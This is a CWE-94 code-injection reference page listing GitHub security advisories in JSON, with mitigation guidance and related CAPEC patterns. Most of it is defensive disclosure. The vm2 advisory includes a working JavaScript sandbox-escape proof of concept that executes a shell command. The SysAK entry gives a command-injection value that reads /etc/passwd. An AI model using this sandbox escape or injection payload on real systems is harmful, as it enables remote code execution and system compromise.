CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8335 vulnerabilities reference this CWE, most recent first.
GHSA-QC83-7V7M-HRRC
Vulnerability from github – Published: 2022-05-17 03:49 – Updated: 2022-05-17 03:49Huawei Unified Maintenance Audit (UMA) before V200R001C00SPC200 allows remote attackers to execute arbitrary commands via "special characters," a different vulnerability than CVE-2016-7110.
{
"affected": [],
"aliases": [
"CVE-2016-7109"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-07T19:28:00Z",
"severity": "CRITICAL"
},
"details": "Huawei Unified Maintenance Audit (UMA) before V200R001C00SPC200 allows remote attackers to execute arbitrary commands via \"special characters,\" a different vulnerability than CVE-2016-7110.",
"id": "GHSA-qc83-7v7m-hrrc",
"modified": "2022-05-17T03:49:15Z",
"published": "2022-05-17T03:49:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7109"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160824-01-uma-en"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92617"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCC4-C6XJ-C524
Vulnerability from github – Published: 2026-07-09 00:31 – Updated: 2026-07-09 18:31An issue in Generic OEM UZ801_v2.1 4G LTE Router V3.4.3 allows a remote attacker to execute arbitrary code via the /ajax web management API endpoint in MifiService.apk
{
"affected": [],
"aliases": [
"CVE-2026-52200"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T22:17:15Z",
"severity": "CRITICAL"
},
"details": "An issue in Generic OEM UZ801_v2.1 4G LTE Router V3.4.3 allows a remote attacker to execute arbitrary code via the /ajax web management API endpoint in MifiService.apk",
"id": "GHSA-qcc4-c6xj-c524",
"modified": "2026-07-09T18:31:40Z",
"published": "2026-07-09T00:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52200"
},
{
"type": "WEB",
"url": "https://github.com/lamaper/CVE-2026-52200"
},
{
"type": "WEB",
"url": "https://github.com/lamaper/UZ801-MifiService-Broken-Access-Control"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCFJ-H4P2-G2FW
Vulnerability from github – Published: 2025-07-11 12:30 – Updated: 2025-11-05 00:31CWE-94: Improper Control of Generation of Code ('Code Injection') vulnerability exists that could cause remote command execution by a privileged account when the server is accessed via a console and through exploitation of the hostname input.
{
"affected": [],
"aliases": [
"CVE-2025-50123"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-11T10:15:23Z",
"severity": "HIGH"
},
"details": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability exists that could cause remote\ncommand execution by a privileged account when the server is accessed via a console and through\nexploitation of the hostname input.",
"id": "GHSA-qcfj-h4p2-g2fw",
"modified": "2025-11-05T00:31:20Z",
"published": "2025-07-11T12:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50123"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-189-01.pdf"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/8"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QCG7-R5QQ-MQMW
Vulnerability from github – Published: 2024-07-05 15:32 – Updated: 2025-02-13 18:32The CloudStack integration API service allows running its unauthenticated API server (usually on port 8096 when configured and enabled via integration.api.port global setting) for internal portal integrations and for testing purposes. By default, the integration API service port is disabled and is considered disabled when integration.api.port is set to 0 or negative. Due to an improper initialisation logic, the integration API service would listen on a random port when its port value is set to 0 (default value). An attacker that can access the CloudStack management network could scan and find the randomised integration API service port and exploit it to perform unauthorised administrative actions and perform remote code execution on CloudStack managed hosts and result in complete compromise of the confidentiality, integrity, and availability of CloudStack managed infrastructure.
Users are recommended to restrict the network access on the CloudStack management server hosts to only essential ports. Users are recommended to upgrade to version 4.18.2.1, 4.19.0.2 or later, which addresses this issue.
{
"affected": [],
"aliases": [
"CVE-2024-39864"
],
"database_specific": {
"cwe_ids": [
"CWE-665",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-05T14:15:03Z",
"severity": "CRITICAL"
},
"details": "The CloudStack integration API service allows running its unauthenticated API server (usually on port 8096 when configured and enabled via integration.api.port global setting) for internal portal integrations and for testing purposes. By default, the integration API service port is disabled and is considered disabled when integration.api.port is set to 0 or negative. Due to an improper initialisation logic, the integration API service would listen on a random port when its port value is set to 0 (default value).\u00a0An attacker that can access the CloudStack management network could scan and find the randomised integration API service port and exploit it to perform unauthorised administrative actions and perform remote code execution on CloudStack managed hosts and result in complete\u00a0compromise of the confidentiality, integrity, and availability of CloudStack managed infrastructure.\n\nUsers are recommended to restrict the network access on the CloudStack management server hosts to only essential ports. Users are recommended to upgrade to version 4.18.2.1, 4.19.0.2 or later, which addresses this issue.",
"id": "GHSA-qcg7-r5qq-mqmw",
"modified": "2025-02-13T18:32:31Z",
"published": "2024-07-05T15:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39864"
},
{
"type": "WEB",
"url": "https://cloudstack.apache.org/blog/security-release-advisory-4.19.0.2-4.18.2.1"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/6l51r00csrct61plkyd3qg3fj99215d1"
},
{
"type": "WEB",
"url": "https://www.shapeblue.com/shapeblue-security-advisory-apache-cloudstack-security-releases-4-18-2-1-and-4-19-0-2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/07/05/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCGG-QPFM-VXFV
Vulnerability from github – Published: 2022-05-01 18:30 – Updated: 2025-04-09 03:46Multiple PHP remote file inclusion vulnerabilities in Ekke Doerre Contenido 42VariablVersion (42VV10) in contenido_hacks in Mods 4 Xoops Contenido eZ publish (pdf4cms) allow remote attackers to execute arbitrary PHP code via a URL in the cfgPathInc parameter to (1) main_upl.php, (2) main_con_editside.php, (3) main_news_rcp.php, (4) main_mod.php, (5) main_tplinput_edit.php, (6) main_con.php, (7) main_tpl.php, (8) main_con_sidelist.php, (9) main_str.php, (10) main_news.php, (11) main_tplinput.php, (12) main_lang.php, (13) main_mod_edit.php, (14) main_lay.php, (15) main_lay_edit.php, (16) main_news_send.php, (17) main_con_edittpl.php, (18) main_stat.php, (19) main_tpl_edit.php, (20) main_news_edit.php, or (21) inc/upl_show_uploads.inc.php; the (a) cfgPathContenido or (b) cfgPathTpl parameter to (22) con_show_sidelist.inc.php, (23) mod_show_modules.inc.php, (24) con_edit_form.inc.php, (25) lay_show_layouts.inc.php, (26) con_show_tree.inc.php, (27) news_show_newsletters.inc.php, (28) str_show_tree.inc.php, (29) tpl_show_templates.inc.php, (30) stat_show_tree.inc.php, (31) con_editcontent.inc.php, or (32) news_show_recipients.inc.php in inc/; or the cfgPathTpl parameter to (33) main_user_md5.php3, or (34) actions_mod.php, (35) actions_lay.php, (36) actions_upl.php, (37) actions_stat.php, (38) actions_news.php, (39) actions_str.php, (40) header.php, (41) actions_con_sidelist.php, (42) main_top.inc.php, (43) actions_tpl.php, or (44) actions_con.php in tpl/. NOTE: vectors 21, 24, 26, 27, 32, 34, 35, 36, 37, 38, 39, 40, 41, 43, and 44 are disputed by CVE because PHP encounters a fatal function-call error on a direct request for the file, before reaching the include statement.
{
"affected": [],
"aliases": [
"CVE-2007-5115"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-26T23:17:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Ekke Doerre Contenido 42VariablVersion (42VV10) in contenido_hacks in Mods 4 Xoops Contenido eZ publish (pdf4cms) allow remote attackers to execute arbitrary PHP code via a URL in the cfgPathInc parameter to (1) main_upl.php, (2) main_con_editside.php, (3) main_news_rcp.php, (4) main_mod.php, (5) main_tplinput_edit.php, (6) main_con.php, (7) main_tpl.php, (8) main_con_sidelist.php, (9) main_str.php, (10) main_news.php, (11) main_tplinput.php, (12) main_lang.php, (13) main_mod_edit.php, (14) main_lay.php, (15) main_lay_edit.php, (16) main_news_send.php, (17) main_con_edittpl.php, (18) main_stat.php, (19) main_tpl_edit.php, (20) main_news_edit.php, or (21) inc/upl_show_uploads.inc.php; the (a) cfgPathContenido or (b) cfgPathTpl parameter to (22) con_show_sidelist.inc.php, (23) mod_show_modules.inc.php, (24) con_edit_form.inc.php, (25) lay_show_layouts.inc.php, (26) con_show_tree.inc.php, (27) news_show_newsletters.inc.php, (28) str_show_tree.inc.php, (29) tpl_show_templates.inc.php, (30) stat_show_tree.inc.php, (31) con_editcontent.inc.php, or (32) news_show_recipients.inc.php in inc/; or the cfgPathTpl parameter to (33) main_user_md5.php3, or (34) actions_mod.php, (35) actions_lay.php, (36) actions_upl.php, (37) actions_stat.php, (38) actions_news.php, (39) actions_str.php, (40) header.php, (41) actions_con_sidelist.php, (42) main_top.inc.php, (43) actions_tpl.php, or (44) actions_con.php in tpl/. NOTE: vectors 21, 24, 26, 27, 32, 34, 35, 36, 37, 38, 39, 40, 41, 43, and 44 are disputed by CVE because PHP encounters a fatal function-call error on a direct request for the file, before reaching the include statement.",
"id": "GHSA-qcgg-qpfm-vxfv",
"modified": "2025-04-09T03:46:39Z",
"published": "2022-05-01T18:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5115"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46229"
},
{
"type": "WEB",
"url": "http://arfis.wordpress.com/2007/09/14/rfi-02-mods-4-xoops-contenido-ez-publish"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QCJ6-JQRG-4WP2
Vulnerability from github – Published: 2021-11-10 19:52 – Updated: 2021-11-18 15:13In the thymeleaf-spring5:3.0.12 component, thymeleaf combined with specific scenarios in template injection may lead to remote code execution.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.12.RELEASE"
},
"package": {
"ecosystem": "Maven",
"name": "org.thymeleaf:thymeleaf-spring5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.13.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-43466"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-10T18:12:25Z",
"nvd_published_at": "2021-11-09T12:15:00Z",
"severity": "CRITICAL"
},
"details": "In the thymeleaf-spring5:3.0.12 component, thymeleaf combined with specific scenarios in template injection may lead to remote code execution.",
"id": "GHSA-qcj6-jqrg-4wp2",
"modified": "2021-11-18T15:13:02Z",
"published": "2021-11-10T19:52:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43466"
},
{
"type": "WEB",
"url": "https://github.com/thymeleaf/thymeleaf-spring/issues/263#issuecomment-977199524"
},
{
"type": "WEB",
"url": "https://gitee.com/wayne_wwang/wayne_wwang/blob/master/2021/10/31/ruoyi+thymeleaf-rce/index.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/thymeleaf/thymeleaf-spring"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20221014-0001"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.186365"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Template injection in thymeleaf-spring5"
}
GHSA-QCJF-2V2G-8464
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2023-06-26 21:30Eaton Intelligent Power Manager (IPM) prior to 1.69 is vulnerable to unauthenticated eval injection vulnerability. The software does not neutralize code syntax from users before using in the dynamic evaluation call in loadUserFile function under scripts/libs/utils.js. Successful exploitation can allow attackers to control the input to the function and execute attacker controlled commands.
{
"affected": [],
"aliases": [
"CVE-2021-23277"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Eaton Intelligent Power Manager (IPM) prior to 1.69 is vulnerable to unauthenticated eval injection vulnerability. The software does not neutralize code syntax from users before using in the dynamic evaluation call in loadUserFile function under scripts/libs/utils.js. Successful exploitation can allow attackers to control the input to the function and execute attacker controlled commands.",
"id": "GHSA-qcjf-2v2g-8464",
"modified": "2023-06-26T21:30:51Z",
"published": "2022-05-24T17:47:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23277"
},
{
"type": "WEB",
"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/eaton-intelligent-power-manager-ipm-vulnerability-advisory.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCMF-8HRW-FXH3
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-07-13 00:00Askey Fiber Router RTF3505VW-N1 BR_SV_g000_R3505VWN1001_s32_7 devices allow Remote Code Execution and retrieval of admin credentials to log into the Dashboard or login via SSH, leading to code execution as root.
{
"affected": [],
"aliases": [
"CVE-2020-28695"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-26T18:15:00Z",
"severity": "HIGH"
},
"details": "Askey Fiber Router RTF3505VW-N1 BR_SV_g000_R3505VWN1001_s32_7 devices allow Remote Code Execution and retrieval of admin credentials to log into the Dashboard or login via SSH, leading to code execution as root.",
"id": "GHSA-qcmf-8hrw-fxh3",
"modified": "2022-07-13T00:00:51Z",
"published": "2022-05-24T17:45:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28695"
},
{
"type": "WEB",
"url": "https://cr1pt0.medium.com/cve-2020-28695-8f8d618ac0b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCP3-VF93-P592
Vulnerability from github – Published: 2026-03-20 15:31 – Updated: 2026-03-23 15:30SysAK v2.0 and before is vulnerable to command execution via aaa;cat /etc/passwd.
{
"affected": [],
"aliases": [
"CVE-2024-44722"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-20T14:16:13Z",
"severity": "CRITICAL"
},
"details": "SysAK v2.0 and before is vulnerable to command execution via aaa;cat /etc/passwd.",
"id": "GHSA-qcp3-vf93-p592",
"modified": "2026-03-23T15:30:33Z",
"published": "2026-03-20T15:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44722"
},
{
"type": "WEB",
"url": "https://gist.github.com/0x00dream2/9984c109101c0b1e352f8ee9ad5e40fe#file-cve-2024-44722"
},
{
"type": "WEB",
"url": "https://gitee.com/anolis/sysak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCP4-V2JJ-FJX8
Vulnerability from github – Published: 2026-05-07 03:54 – Updated: 2026-05-14 20:36Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658
BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC
let obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice: () => '',
};
let sym;
obj.slice(10, {
showHidden: true,
showProxy: true,
depth: 10,
stylize(a) {
const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) {
gP = handler.getPrototypeOf;
HObjectProto = gP(gP(gP(gP(Buffer))));
HObject = HObjectProto.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
}
return a;
},
});
obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor('return process')()
.getBuiltinModule('child_process')
.execSync('id', { stdio: 'inherit' });
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44006"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T03:54:34Z",
"nvd_published_at": "2026-05-13T18:16:17Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nIt is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes\n\n### Details\n\nhttps://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658\n\n`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)\n\n### PoC\n```js\nlet obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice: () =\u003e \u0027\u0027,\n};\n\nlet sym;\n\nobj.slice(10, {\n\tshowHidden: true,\n\tshowProxy: true,\n\tdepth: 10,\n\tstylize(a) {\n\t\tconst handler = this.seen \u0026\u0026 this.seen[1];\n\n\t\tif (handler \u0026\u0026 handler.getPrototypeOf) {\n\t\t\tgP = handler.getPrototypeOf;\n\t\t\tHObjectProto = gP(gP(gP(gP(Buffer))));\n\t\t\tHObject = HObjectProto.constructor;\n\t\t\tsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\t\t}\n\t\treturn a;\n\t},\n});\n\nobj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor(\u0027return process\u0027)()\n\t\t.getBuiltinModule(\u0027child_process\u0027)\n\t\t.execSync(\u0027id\u0027, { stdio: \u0027inherit\u0027 });\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\nSandbox Escape -\u003e RCE",
"id": "GHSA-qcp4-v2jj-fjx8",
"modified": "2026-05-14T20:36:24Z",
"published": "2026-05-07T03:54:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44006"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 has a Sandbox Escape Vulnerability"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.